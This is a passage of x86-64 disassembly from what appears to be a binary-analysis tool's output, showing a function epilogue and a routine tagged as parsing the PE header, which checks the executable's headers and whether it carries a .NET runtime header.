lea rcx, [rbp - 0x40]
lea rdx, [0x14001acd0]
call fcn.140011339
mov rax, rdi
mov rcx, qword [rbp + 0x668]
xor rcx, rbp
call fcn.1400111c2
lea rsp, [rbp + 0x670]
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400112a3
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400144b0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400144d0
xor al, al
jmp 0x140014551
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400144e3
xor al, al
jmp 0x140014551
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001450d
xor al, al
jmp 0x140014551
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014521
xor al, al
jmp 0x140014551
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014533
xor al, al
jmp 0x140014551
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001454f
xor al, al
jmp 0x140014551
mov al, 1
add rsp, 0x38
ret